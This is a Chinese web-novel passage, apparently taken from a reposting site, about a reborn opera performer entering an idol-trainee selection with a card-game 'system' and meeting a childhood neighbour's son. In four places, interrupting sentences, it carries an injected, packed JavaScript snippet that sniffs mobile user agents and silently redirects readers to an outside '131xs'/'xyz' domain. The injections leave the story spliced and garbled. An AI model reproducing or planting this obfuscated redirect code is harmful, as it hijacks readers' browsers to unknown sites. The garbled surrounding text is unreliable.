“公司有合作的公寓,不过你们这次选拔是封闭式的,为了方便管理,统一安排在旁边那栋单独的宿舍楼里。”助理一边解释,一边领着杜雪裳直接走出StE的大门,转向侧后方不远处一栋看起来稍显年代感、但维护得十分整洁的楼宇。
杜雪裳压低帽檐跟在后面,目光不动声色扫过四周。
他心有记挂,就在两人一前一后穿过楼间的小路时,装作确认时间的样子,再次抬起手机屏幕瞥去。
【成员】界面依旧散发着诱人的微光,一个简洁的列表下拉展开,目前只有置顶行是解锁状态。
左侧是人物基本信息,右侧则是卡牌预览区,因为现在只有一张卡,整个画面显得异常简洁。
【-杜雪裳-】
【身份确认:StE特定企划练习生】
【当前状态:稍许疲惫,但对未来充满期待。】
【待机显示:未安置,是否确认?】
【※更多详细属性及管理功能,将随文化官等级提升逐步解锁!】
杜雪裳的目光在“稍许疲惫,但对未来充满期待”这行描述上死死停留了一瞬,心底默默倒吸一口冷气。
……这下不得不更提起十二万分精神注意了!
时间有限,他尝试性地勾选了待机显示,又到右边去点那张唯一的〈- SR·[不眠的祈愿] -〉。
卡牌优雅地反转过来,背面流光浮动,先前在惊鸿一瞥的、几行艺术笔体的荧光小字清晰映入眼帘——
先是五道属性条,声乐、舞蹈、表现力、传统、精神,每一条后方都缀有长短不一的星辉光带,如银河碎洒,微微流动。其下,一道特别的描述熠熠生辉:
【 -基础技能·再塑戏骨- 】
〈传统·Tradition〉属性小幅提升,〈表现力·Performance〉〈精神·Spirit〉成长速率微弱增益。
(沉睡于灵与血深处的古老技艺,静候重返荣光的舞台…)
他迅速收起手机,快步跟上前面助理的脚步,脸上重新带起无可挑剔的、谦逊乖巧的表情,走向那栋即将见证他未来一个月奋斗与未知的宿舍楼。
“再塑戏骨”……
这几个字,终究还是在他心中泛起一片涟漪。
——————
这么怀旧的宿舍楼当然没有电梯。
楼道里弥漫着淡淡的消毒水味和潮湿陈旧的气息,杜雪裳跟着助理姐姐爬到四楼,站在正对楼梯口的八人间门口环视内部。
房间比想象中更拥挤一些,四架上下铺的铁床几乎占满了所有空间,只留下狭窄的过道。
墙壁有些泛黄,但还算干净,一扇小窗开在靠墙的高处,因为是背阴面,透进的光线也有限,室内显得有些昏暗。
“条件比较基础,克服一下,床位先到先得,自己选吧。”助理语速很快,“这层楼还有其他工作人员和练习生在住,进出遇到人记得打招呼,注意影响。”
她又交代了晚上集合的时间和地点,强调一定要准时,此前这段时间留给他自由活动——然后就留下他独自收拾行李,自己匆匆离开了。
门咔哒一声关上,房间里只剩下他一个人,杜雪裳的目光扫过四张铁架床。
靠窗的位置似乎通风和采光都稍好些,他本能地想把包放过去——
动作却在中途顿住。
……“非常辛苦”、“强度极大”。
助理姐姐早给他打过预防针了,他最好有点眼色,从一开始就做好心理准备——这个宿舍,很可能只是昏迷过后短暂补充体力的地方,对它的舒适度和实际使用时长还是别抱任何幻想了。
为了不打扰未来可能出现的、需要正常作息的室友,也为了保证一点点可怜的个人空间,他最终将那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282900|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个简单的行李包,放在了门边那架床的上铺。
上铺的空间更显逼仄,根本没法坐直,起身到一半头就会磕到天花板。
杜雪裳胳膊一撑,利落地翻上去,小心佝偻着腰,将寥寥几件换洗衣物和洗漱用品归置好,然后换上了一身轻便的黑色练习服。
又翻身而下,轻盈落地。
就在他系好鞋带的瞬间,耳边响起一声清脆的铃响。
他立刻拿出手机,屏幕自动亮起,清新亮丽的系统界面弹出:
【温馨的宿舍是梦想启航的港湾~】
【记录生活点滴!获得新卡牌:〈杜雪裳 - N·[预备] -〉】
这张卡从边框到评级戳印都是朴素的灰色,卡面背景也不再是具体繁杂富有生活气的实景,而是变成了疑似待机界面的空旷练习室。
画面中的他穿着刚换上的练习服,正在做简单的拉伸动作,侧脸轮廓在镜墙的反射中显得有些模糊,带着一种初来乍到的生涩感。
他戳戳卡面翻转过来,背面五维属性后的星条短得近乎含蓄,星屑点点,此外只有一个“LoveCtupid!”的logo烫标,外加底部一行小字:〈基础身份卡〉。
杜雪裳盯着屏幕,忽然低声开口:
“这张卡牌没有技能吗?”
……果然。
屏幕内聊天框立刻弹现,流畅地向他介绍起来:
【很抱歉~SR以下等级的卡牌本身并不带有额外的技能助力,不过不用担心~高阶卡牌和丰富收藏会带来超多惊喜!】
【关于卡牌技能向您补充介绍如下:】
【SR卡牌自带〈基础技能〉,拥有卡牌即自动生效,不同卡牌的〈基础技能〉效果可叠加,越努力越强大。】
【SR以上等级的卡牌则会带有强力的〈特殊技〉,可在满足触发条件时随机生效,效果卓越,闪耀舞台!】
【此外,还有集齐指定卡组即可解锁的〈连携技〉,与成员建立深厚羁绊后诞生的〈专属羁绊效果〉……】
【请积极探索,解锁更多隐藏卡面与惊喜吧!ヽ(??▽?)ノ】
嗯~居然可以即问即答,真是未知造物呢。
杜雪裳若有所思,在脑中比较过问题优先级,抛出下一个问题:
“两张卡牌的背面都有‘属性’,属性指什么?”
【~属性解析~】:
【根据偶像育成需要,系统将爱豆与练习生的核心能力分为五大维度进行评价:】
【〈声乐 - Vocal〉:天籁歌喉,征服舞台!】
【〈舞蹈 - Dance〉:节奏律动,魅力绽放!】
【〈表现力 - Performance〉:台风气场,引爆焦点!】
【〈传统 - Tradition〉:古今融合,独树一帜!※特色维度】
【〈精神 - Spirit〉:团队凝聚,抗压心志!】
【全面均衡发展,方能成就顶级偶像噢。】
“我现在的五项属性具体是多少呢?”
系统界面微妙地停顿了一瞬:
【-权限不足-】
【现阶段无论是您、还是其他成员的能力都暂时无法量化体现。请努力提升文化官等级,解锁更多功能权限!】
杜雪裳并不气馁。
他语气平静,却带着不容回避的探究,问出最后一个、也是最核心的问题:
“那么——你所谓的卡牌,究竟是什么?”
5. 圆融如一
这一次,系统的回应似乎带上了更多的热情:
【卡牌,本模拟器的核心与灵魂!】
【它既是您积极活动的忠实记录、成长轨迹的一面缩影,亦是您攀登顶峰的强大翼助!】
【每一张卡牌的属性都将增幅您本身的属性,高阶卡牌的技能更是能在关键时刻力挽狂澜、震撼全场——】
【您可以通过现实中的精彩行动自然触发获取,为帮助您更快成长,我们也准备了丰富的日常任务,根据您的完成表现,您有几率获得普通招募券,邂逅更多卡牌伙伴。】
【此外还有需要选取卡牌参与的限定活动和学园争霸,可以赢取稀有奖励与珍贵限定卡面噢~】
【请相信,卡牌将伴您更快地迈向巅峰,从闪耀新星到一流爱豆,进而挑战至高无上的顶流天团——只要您想,未来尽在您手中!???(●˙?˙●)???】
屏幕上的文字光彩流溢,极具煽动性,仿佛勾勒出一条铺满鲜花与星光的坦途。
紧接着,新的提示音欢快响起:
【 -现在发布今每日任务清单- 】
1、每日签到:奖励〈普通招募券〉×1。
2、完成3小时基础训练:奖励少量〈金币〉、经验值。
3、与1位成员互动:奖励〈暖心贴纸〉×1。
4、展示今日成果:奖励〈钻石〉×10。
【 -小贴士- 】
〈金币〉可兑换成现实货币解您一时之急,或用于获取珍贵的特别材料、系统道具等;
〈暖心贴纸〉可用于兑换礼物,提升对应成员好感,增强友情羁绊;
〈钻石〉是珍贵资源哦,可用于开发永久技能或解锁已错过的限定卡牌。
【更多惊喜等待您的探索!请努力练习,迎接更大更有挑战的舞台吧!(??ヮ?)?*:???】
杜雪裳脸上没什么表情,他收起手机,目光落在窗外。
系统画饼倒是一把好手,就不知道这饼里裹的是蜜糖,还是毒药了。
距离晚上的集合时间还早,但他对探索这座延州之下的繁华都市毫无兴趣。于他而言,哪里都一样,不过是又一个需要奋力搏杀的舞台。
没有丝毫犹豫,他拎起装着毛巾和水瓶的运动小包,转身就朝着刚刚认得的练习室的方向走去。
走廊空旷而安静,只有他一个人的脚步声,一格格框死的玻璃窗将朝阳的光线切割成片,落在他身上,拉出长长一道孤影。
他褪去人前那层温和爱笑的模样,脸上只余下一种沉静的专注。那双总是弯起的眼睛里,此刻毫无旁骛地映着前方的路,目标明确,意志坚定。
无论前途是福是祸,至少此刻,脚下的路是清晰的。
该做什么,义无反顾。
——————
走廊里偶尔遇到工作人员走过,杜雪裳微微欠身,礼貌打着招呼,一路畅通来到练习区。
此前介绍的几间练习室门上贴了“专用”的标识,他挨个看去,里面都没人的样子,便随手选定一间推门而入。
四壁皆是明净的镜墙,木质地板光可鉴人,淡淡的清洁剂气息充盈整处房间,顶灯将空旷的室内照得亮如白昼,他的身影清晰地映在镜中。
——做人最紧要是自知之明。
从前辞了戏班在外摸爬滚打,无论是做零工、在舞厅讨生活,还是后来机缘巧合去拍了电影,他深知若非要论起自己比旁人多那么一点特长、一点赢面的话,这一点究竟落在何处。
杜雪裳万不敢忘了来时之路,四功五法,未曾有一日敢懈怠基本功的练习。
虽然这一世时间一跨十来年,可真要论起灵魂感知,上次吊嗓压腿打磨基础可正在昨日。
尤其最近为了试镜那部新电影,他对一应所学所演琢磨得更细致,指法手型、脚位身段、眼神的落点、流转的分寸、唇角的弧度、情绪的虚实……要给多少,他都是一分一厘揣摩推敲的。
此刻,意识下达了指令,年轻的身体却显得有些生疏,肌肉记忆蒙着一层薄纱,动作衔接时少了那份浑然天成的美感。
可到底还是自己的身体,从前也是校舞蹈队掐尖的底子,虽训练的方向不同,但对节奏的敏感、对律动的捕捉、对身体的掌控总有相通之处。
杜雪裳静下心,摒弃杂念,一点点唤醒这具身体的潜能。
起初是些许的滞涩,但他极有耐心,不焦不躁,一遍、一遍……全心沉浸其中。
渐渐地,身体的反馈变得清晰起来,关节逐一打开,肌肉记忆被重新激活,动作从最初刻意僵硬的比划逐渐变得流畅自然。
一种奇妙的、灵肉逐渐契合的欣悦感油然而生。
随着身体彻底活动开,那些隔膜淡漠的“十几年”记忆也仿佛被这汗水浸润,渐渐变得真切温热。
脑海里忆起街坊邻居看他独自一人时常塞过来的热乎吃食,想起学校老师总是多问一句“最近怎么样”的关切,想起舞蹈队里那位脾气火爆、骂人毫不留情、却将所有技巧倾囊相授总盯着他加练的前辈……
他不经意间抬眼,望向镜墙。
镜中的少年额发被汗水濡湿,脸颊因运动泛着健康的红晕,而那双总是习惯性弯起、用以示人的眼睛里,此刻竟漾着真切的笑意,明亮得惊人。
……真的又回到十四岁的夏天了。
杜雪裳深吸一口气,对着镜中的自己,更认真地拉开了架势。
汗水浸透了黑色的练习服,紧贴在少年清瘦却不单薄的脊背上,勾勒出流畅的肌肉线条,他缓缓吐出一口浊气,感觉全身筋骨都舒展开来,透着运动后的酸软与畅快。
兴致正好,虽身体乏透,但精神却愈发清明。
他多年以来的习惯就是练完身上功夫再开嗓练气,自觉更能将那口气推得又稳又远,透亮穿云。
杜雪裳调整呼吸,找准共鸣位置,擒着那股内劲,一段韵味十足的戏声便字正腔圆念出来,在空旷的练习室里回音。
他微闭着眼,仔细品味发声的感觉,正慢慢琢磨着某处的处理,忽然——
“叩、叩。”
轻快两声敲门声响起,门把手“咔哒”一下被按了下去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282901|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>一个脑袋探进来,头发微卷,眼睛亮晶晶的,像某种热情又懂得分寸的犬类。少年看见他,脸上立刻绽开一个灿烂又带着点腼腆的笑容,下意识捏了捏自己的鼻尖,脚下却丝毫不拖泥带水地走了进来。
“……雪裳哥?真是你啊!我来的路上还一直想,那个老师会不会干脆就是骗我的!”
他的嗓音透出少年的磁性,带着毫不掩饰的兴奋和一点点难以置信。
杜雪裳有些茫然地歪了下头。
眼前这男生和他个头相仿,元气满满,眼神里的憧憬和热情纯粹得晃眼,可他翻遍记忆也实在认不出这么一号人。
对方见他这反应,顿时一拍手弯下腰,再直起身时脸颊有点红:“哇——哥!原来香林不对其他学校做调研的传说是真的,今年联赛我们桐坊还是地区亚军来的。”
杜雪裳顿时有些不好意思,露出一个带着歉意的温和笑容:“真对不起……你叫什么名字?咱俩以前比赛时见过是吗,不好意思,我记人有点弱,这下面对面认识,我肯定记住了。”
他这么说,少年倒挺高兴地凑近两步,站直身,眼睛更亮了,很端庄地比了个架势:
“我叫薛锐卓,锐利的锐,卓越的卓!哥,我家其实也是香林那片的,嗯……对了!我爸我妈开了家包子店,应该是在林光路口,开了挺久了,你有印象不?”
他说得有些小心翼翼,眼神里带着巴巴的期盼,明显不太敢确定。
林光路?!
杜雪裳眼睛倏地睁大,熟悉感冲击得他头皮发麻,脱口问道:“……洪玉飘香包子铺?”
“嗯!好像是叫这个名字,我上学不常回去,哥你知道?”薛锐卓惊喜道。
……何止是知道,那简直是非同一般的熟!
他家包子铺在整个香林区有口皆碑,“洪玉飘香”更是做成了响当当的金字招牌——
店里主打的就是皮薄料香馅足、一口爆汁的大肉包,更有跟着时令走、不光新奇味更美的特色馅料,此外也有现磨现做的豆腐脑豆浆、馅儿饼茶卤蛋,夫妻俩起早贪黑,用料实在,手艺更是没得说,甚至引来不少南城其他地方的客人慕名拜访,小店经营得那叫一个人来人往红火热闹。
杜雪裳就住在附近,小的时候经常被夫妻俩拉进店里,说是做得多、万一剩下不好卖,请他和叔叔阿姨一起吃,其实就是心疼他可怜,变着法地接济下,能帮衬一口是一口。
不光包子,馅饼也是饼皮外酥里软,冒油花的肉汁一层层浸出来,吃得人满手是香,小时候的杜雪裳还很不好意思,觉得吃相不好乱了规矩,叫叔叔阿姨嫌弃笑话。
后来他长大点,明白了道理,再要去吃什么,别管叔叔阿姨不要,他自己坚持规规矩矩付钱——校舞队在正式赛事表现优异会有一点奖励金,社区每个月也会给他拨生活费。
有时也不为吃,有空就去给叔叔阿姨打打下手,要不店面火热成那样,客人多了是真忙不过来。
他早就听说叔叔阿姨有个在外地上学的儿子,以为是多大的年纪,没想到居然是个和自己年纪相仿、笑容明亮的少年!
6. 捕获小狗
杜雪裳忍不住问:“你家在香林,为什么要去桐坊上学啊?这都快出南城了,叔叔阿姨怎么放心?”
薛锐卓戳着额头,鼻子皱起苦恼道:“香林入学年龄卡得死,我爸妈忙店里实在没空管我。听说桐坊那边限制没那么严,正好我姨是桐坊的老师,一个人在那儿教书,两家一商量,就把我塞过去寄宿了,放假我就回我姨家,我妈或者我爸有空就过去看我。”
杜雪裳一时哑然。
薛锐卓抬眼看他:“……哥,你真不记得我了?”
杜雪裳为难地笑,抬手轻轻捋了两下他的肩膀:“真对不住,没想到会有别的学校的队员留意到我。以后肯定不会忘了。”
薛锐卓鼓了鼓嘴,两秒后就又笑起来,很是豁达:“算啦!话说哥,你是不是已经去宿舍收拾过了?”
“嗯。”
“让我猜猜——正对楼梯那间,靠门的位置,上铺,是不是?”他眼睛闪着狡黠的光。
杜雪裳笑了:“是我。”
“嘿嘿!”薛锐卓露出得意的笑容,“联系我的那个老师说你会来参选,我又一直没见着你人,总有种直觉那床就是你的风格,我见跟我一起到的其他几个人都没想好,赶紧眼疾手快先把东西放到你下铺了,想着赌一把。”
“你放下面干嘛?”杜雪裳失笑,很自然地接过话头,“回去后各找各床,谁也看不见谁。你要是想离我近点,其实可以去隔壁的上铺,头对着头,要是有话想和我说也随时方便。”
话一出口,他立刻顿住,心里恨不得敲自己一下——融合得太好,连这冒失直接的说话方式都向着十四岁的自己看齐了。
“……啊。”薛锐卓张着嘴和他面面相觑,“……对噢!我怎么没想到!”
“嗨。”他又一挥手,浑不在意轻轻放过,“也没事,喜欢下铺的人好像还挺多,我到时候看谁想换,跟他一换就成!”
“说到这里,”杜雪裳岔开话题,“我在练习室也有段时间了,到现在为止就见了你一个,他们报到后都没来这边看看吗?”
薛锐卓摇头:“我也就见了三个,大家都是中午前后才陆续到的。新人开发组的老师好像挺忙,给我们凑一起签了合同,交代了宿舍和晚上集合点的具体位置就让我们自己活动了。”
“大家先去宿舍放了大件的行李,然后那几个都急着说想出去逛逛,探探路,起码把周围两条街摸熟,看看便利店之类的在哪,再顺便吃个大餐。我想着如果你真来了,肯定是在练习室,等不及和他们一起晚上回来集合时再找你,就先溜过来碰碰运气了。”
说着,薛锐卓按了按肚子,“哥,你吃过饭了没?”
杜雪裳抬眼看了下墙上的时钟,这才惊觉都下午了——他太沉迷于身体复苏后肉眼可见的飞速进步,早误了一顿正餐的饭点:
“光顾着练了,没留意时间,你要问的是午饭的话那还没吃呢。”
“我也!坐了一天的车,别说正经饭了,零食都没来得及垫一口!”薛锐卓立刻接话,眼睛亮亮地发出邀请,“哥,现在一起去吃饭不?就当是午晚饭合一起了,吃完回来咱们一起练!”
好吧。
既然薛锐卓这么提议了,为什么不呢?
幸好StE的食堂24小时都有在提供服务,很贴心——但也说明凌晨还在这里为KPI燃烧生命的工作人员应该不在少数。
两人点好餐,趁等待的间隙,杜雪裳拿出手机检查起每日任务的情况。
先进行【每日签到】。
说是招募券,屏幕上方却叮铃一声掉下一枚小小的、花瓣形状、泛着金属光泽的粉色虚拟币,在屏幕滚动弹转几圈后,自动飞向左上角不知何时冒出的许愿瓶图标里,瓶身上的数字默默从“0”跳成了“1”。
剩下的【基础训练】和【互动】任务也显示可完成。
他刚点下确认,一条新的提示突然弹出:
【? 确认现在结算吗?再努力一点点,或许会有意想不到的收获噢~ ?】
这么明显的暗示啊~
——看来每日任务会有超额完成的隐藏奖励。
今天离结束还早得很,到休息前还有很长的时间,杜雪裳果断点了【取消】。
任务栏收起,系统又回到那个花雨飘飞的原始界面。
应该是之前勾选的“待机显示”起了效果,屏幕上的练习室里多出一个和他穿着同款黑色练习服的Q版小人——看那标志性的下颌痣、微微压低又自带挑衅弧度上扬飞起的眼尾,不是他自己又是谁呢?
因为训练中断,“小杜雪裳”此刻正百无聊赖地在地板上咕噜咕噜来回打滚,滚了几圈后终于力竭,四肢摊开,瘫成一块猫饼,随着小小身体的规律起伏,脑袋旁边开始冒出可爱的“Zzz…”睡眠符号。
“噗。”旁边薛锐卓正趴在点餐台上哼歌,一回头,恰好瞧见他对着手机如临大敌的模样,忍不住笑出声,“哥,你玩俄罗斯方块也这么真情实感的吗?”
杜雪裳避都不避,大方坦然地接道:“毕竟手机自带的,一关时间很短,打发一下还挺有意思的。”
正在这时,他才留意到【成员】那栏微弱的、不停的闪光,心下已有预感,点进去验证一看——
【~ 叮!捕获到新的成员!~】
【恭喜您获得新成员卡牌:〈薛锐卓 - SR·[奇妙的预感] -〉!】
【? 达成基础联结【南城】:当成员〈杜雪裳〉〈薛锐卓〉处于同一空间时,双方〈舞蹈〉与〈表现力〉获得微弱增益效果~】
【请继续友好相处,触发更多深层羁绊吧!(★ω ★)】
后厨恰好将两份餐食放在取餐台上,杜雪裳飞快瞥过那张新卡——
画面上显示的应该是某个学校或社区的篮球场,薛锐卓穿了套宽松的球衣,正顶着灿烂的阳光大大伸着懒腰,阳光将他微卷的发梢都染成了金色。
旁边似乎有人叫他,他挑着眉,微微侧过头,嘴角扬起明亮的弧度,只露出大半张浸在光里带着笑意的侧脸。
只一眼,就像迎面拂来一阵带着阳光温度的风。
杜雪裳弯了弯眼角。他收起手机,端起餐盘:“我们的好了,去找位置吧。”
“好嘞!”薛锐卓快活地跟在他身后。
杜雪裳下意识地拧动脚腕,仿佛能感受到那所谓“微弱增益”带来的若有似无的轻盈感。
——————
两人吃完饭回到指定楼层时,专用练习室已经有了其他热身预备的练习生。
走廊里能隐约听到各个房间传出的音乐声和节奏鼓点,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282902|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪怕每间只是零散几个,混在一起后气氛也已截然不同,空气仿佛都跟着微微震动。
杜雪裳没想着上来先交朋友,目光一扫,锁定一间人最少的房间,拎着显然还在东张西望四处打量的薛锐卓就拐了进去。
里面一个男生在放着歌边跳边练招找感觉,另一个则是抱着手机连比带划念念有词,杜雪裳径直走到间隔一定距离的房间角,把选歌大权留给薛锐卓:“你挑你喜欢的歌吧,咱们先一起活动开。”
虽说校舞蹈队比赛跳的都是编舞,但想跳出彩、想精准呈现不同风格融合的细节,各舞种多多少少都得学,而且光是会可不行,你还得通。
杜雪裳习惯性地以几下肌肉跳震和isolation作为起始,动作干净利落,机械的卡顿分离近乎抽帧——他向来是比较偏爱poppin元素控制到极致、动作间又绵延共振的味道的。
而一边的薛锐卓?看他听音乐律动起来自然随意的范儿、那放松又带点拽味的框架和眼神,一眼就知道平时跳swag更多。
随着时间推移,练习室里的人渐渐多了起来。
音乐声、脚步声、叹气声、地板摩擦声、低声交谈声混杂在一起,形成一种嗡嗡的回音,无形的、竞争前的紧绷感弥散开。
杜雪裳见热身热得差不多了,便拉着薛锐卓移到一边节省体力,也避免被过多干扰。
薛锐卓扯下腕带按了按额角的汗,凑过来小声问:“哥,晚上考核肯定要唱歌,我选了首平时听得比较多的民谣,你呢,准备唱什么?”
杜雪裳早有答案。
早在出发报到前,他就仔细权衡过了,精心选定了情歌天王的经典——《一人冬》。
作为悲怆沉缓的独白恋歌,这首歌本就以情取胜,没什么为难歌者的炫技,只要稳住气息,处理好那一两处高音,起码演唱方面不太容易出错。
歌曲的上下限都高,如此大的表现空间就很适合藏拙——当然,也适合剑走偏锋、搏个出奇。
以他现在的年纪和外型,要是能把这么一首歌唱得不无聊,甚至还有几分味道,相信所有老师在评价时自会对他的表现力高看一筹。
如今这形势就更有趣了——有了前世登台亮相、演绎无数悲欢离合的底子,他并不打算一心求稳,反倒有了更多想法,打算胆大包天再添点东西进去。
听到薛锐卓问,他只是微微一笑:
“是首抒情老歌,不过……我擅自给人家改了编排,打算‘加两句戏’试试。”
“哦?”薛锐卓立刻来了兴趣,眉毛挑得老高,伸出拳头摆到他面前,“那我可期待了,能让我哥这么用心,这不稳了?”
杜雪裳从善如流与他碰了下拳,唇角弯起:“现在这么捧我,等会儿上去不定我第一个音就走了呢。”
“那不能!”薛锐卓说得斩钉截铁,“那叫走音吗?那是我哥提前设计好的艺术!他们懂个啥?啥也不懂。”
杜雪裳被他胡言乱语的一味吹捧逗得直乐,角落里短暂漾开一点轻松的气氛。
目光不经意扫过周围那些或沉浸、或焦虑、或故作镇定的面孔,最后落回自己映在镜墙上的身影。
舞台即将搭好,今晚这老歌新续,究竟是一败涂地、狼狈收场呢,还是真能出奇制胜,为他赢个好彩头?
7. 蕴势登场
晚上八点整,走廊尽头准时传来脚步声,五位气质干练的老师手拿文件夹出现在几间练习室的门口,瞬间吸引了所有练习生的目光。
走在侧前方那位年轻老师染了金棕色的背头,几缕发丝随意抓散,衬出眉眼极深的轮廓。一枚闪到晃眼的钻石耳钉钉在耳骨上,身上那件彩喷图案的黑T袖子被粗暴地卷到肩头,固定成无袖,毫无遮掩地展现出训练有素、线条虬结的手臂肌肉。
几人走到门口站定,低头私语几句,他略微欠身,让其他几人走过,自己则随意地探进身来,目光扫过一圈,抬手招呼道:
“都走吧,到隔壁有桌子那间集合。”
说完,也不多等就转身离开。
他的身影刚消失在门口,练习室里就响起几声倒吸冷气的哽咽,马上,隔壁更是爆出一声极具穿透力又戛然而止的惊呼。
薛锐卓猛地窜到杜雪裳耳边,声音压到极低,激动难掩:“是柏银哥!林柏银!N4D不是还在间隔期吗?论坛都说他马上要solo了,居然会来这里!”
杜雪裳目光微动。
作为正值鼎盛期的代表性男团,N4D可谓StE现役组合中浓墨重彩的一支奇笔、绝对亮眼的王牌之一。
出道四年来,N4D贯彻StE家一贯的重工强硬,以硬核朋克风在业界杀出一条血路,四名成员个个外表华丽,舞台表现极具侵略性和进攻性,张扬自我的炫示赢得拥趸无数,迄今为止的每次回归都奖项拿到手软,不仅音乐节好评如潮,连刚刚落下帷幕的巡演都是场场爆满。
林柏银是他们队内的人气主舞,对外向来以爆发力极强的舞蹈和桀骜不驯的形象著称,不想刚刚一面之缘,对他们这些毛头新兵却表现得比想象中平和许多。
几人像被驱牧的小羊一样赶去隔壁和大部队会合。
这里比其他间多出一番简单的布置,靠墙摆着一张长桌,连同林柏银在内的五位老师就在桌后就坐。
桌子两侧和房间各边各角不同角度都架设着漆黑的摄像机,红色的录制指示灯无声闪烁,明示着考核早已开始。
杜雪裳快速环视一圈,集合在这里的估计有三四十人,气质明显地分成两拨:一拨显然是StE原有的练习生,大多沉默地靠墙站着,眼神沉静,甚至带着几分习以为常的凝重;另一拨则站得相对松散,有人努力挤出天真亲热的笑容,有人自信地扬着下巴展示实力,但眼底多少都藏着些初来乍到的生涩和审时度势的紧张。
坐在长桌中央的是一位留着利落短发、化着淡妆、穿着深色西服套装的中年女性,她扶了扶话筒,平稳开腔,自带一股不容置疑的气场:
“大家好,我是本次企划项目的总负责人,我姓陈。”
她抬手示意两侧,“我左手边这两位,分别是新人开发组的组长和负责声乐的王老师;右手边这位,想必很多人都认识,N4D的林柏银前辈,今天特意抽出时间过来为大家加油。”
听到介绍,林柏银立刻从稍显随意的坐姿中端正身体,向前微微倾身,对着练习生们露出一个符合前辈身份的、略显矜持却绝不失礼的微笑,语气也收敛了之前的随意,变得清晰稳重:
“大家好,我是N4D的林柏银,很期待大家接下来的表现,祝弟弟们都能有所收获。”
“柏银前辈时间宝贵,有空时会过来指导大家,日常的舞蹈训练和考评主要由他旁边的金老师负责。”
陈女士继续道,“接下来的一个月里,你们既是同伴,也是对手,我们需要看到你们全方位的才能和作为艺人独一无二的魅力。”
“最终通过选拔的人,将成为StE的公开练习生进入预出道组,公司会为你们提供曝光机会、舞台资源,一切用实力说话。但在此之前——”
她的目光缓缓扫过每一张年轻而紧张的面孔,语气加重,“我需要你们拿出绝对的恒心和毅力,完成这一个月我们布置的所有考核,你们的目标绝不仅仅是让我们满意,而是——”
她微微停顿,和每一个练习生短暂对过视线后,一字一撂掷地有声道:“征、服、我们!”
“怎么样,有没有信心!”
短暂的寂静后,房间里爆发出一片混杂着紧张与兴奋的应和声:“有!”
练习生们互相对视,反应躁动,眼睛里闪烁着野心与不安交织的光芒。
陈总负抓住大家心潮难平的时刻打开文件夹,简单拨数过内容页后正式宣布:
“下面按顺序进行个人展示,让我们、也让你的同期们,认识一下你真正的实力!”
——————
杜雪裳和薛锐卓一起,学着其他练习生靠镜墙坐下,为即将登场的人们、也为众多拱月之星的摄像头留出中间大片施展的空档。
尽管在场众人看着年纪都不大,但毕竟是层层精选筛出来的苗子,要么是有过系统训练经验的练习生,要么是身经百战的大赛常客,没有一个拘谨到影响发挥或因为紧张严重失误,个个都努力展现着落落大方的一面。
可在杜雪裳眼里,大方之下还是有各式各样藏不住的青涩,大家为管理表情、控制肢体、炫耀魅力而努力的样子透出一种很朝气的可爱。
他一边在脑中反复排演自己的表演,最后斟酌那几处精心设计的细节,一边留出几分心神欣赏其他人的表现,尤其关注了老师们点评的侧重点和反应。
薛锐卓排在他前头被叫到名字。
“老师,我想先跳后唱。”他声音清亮,选择直接展示强项。
音乐随机响起,还正是他擅长的hiphop风格。
从小打下的舞蹈功底和一两年的速成训练在质感上截然不同,薛锐卓框架舒展,律动自然融进呼吸,卡点又洒脱又精准,身体完全变成他听音乐玩游戏的一部分。
趁着一段细碎活泼的鼓点,他忽然扬起脸,皱起鼻尖,舌尖飞快舔过虎牙,抛出一个夸张的大大wink!他甚至大胆走上前抬手示意向老师发出互动邀请,因为表情搞怪得意,一点也不油腻,那种蓬勃的自信和莽撞的鲜活气几乎要冲破镜头。
几位老师脸上都露出了明晃晃的赞赏,负责舞蹈的金老师更是直接站起身,笑着上下挥手应声替他喊起拍子,显然十分满意。
舞蹈环节拿下毫无疑问的高分,紧接着的声乐就相对揪心了。
薛锐卓几乎是以“直给”的方式,平铺直叙拖长嗓子完成了自己选的民谣,好在出声大胆但音准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282903|182539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
